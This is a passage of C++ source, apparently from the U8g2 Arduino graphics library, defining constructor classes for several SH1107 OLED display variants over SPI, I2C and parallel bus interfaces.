u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_2_6800 : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_2_8080 : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_F_6800 : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_F_8080 : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_F_6800 : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_F_8080 : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_1_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_1_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_1_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_1_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_2_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_2_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_2_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_2_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_F_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_F_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_F_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_F_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_128X80_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X80_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X80_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X80_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X80_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X80_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X80_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X80_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_128X80_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X80_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_128X80_1_6800 : public U8G2 {\n  public: U8G2_SH1107_128X80_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X80_1_8080 : public U8G2 {\n  public: U8G2_SH1107_128X80_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_1_6800 : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_1_8080 : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X80_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X80_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X80_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X80_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X80_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X80_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    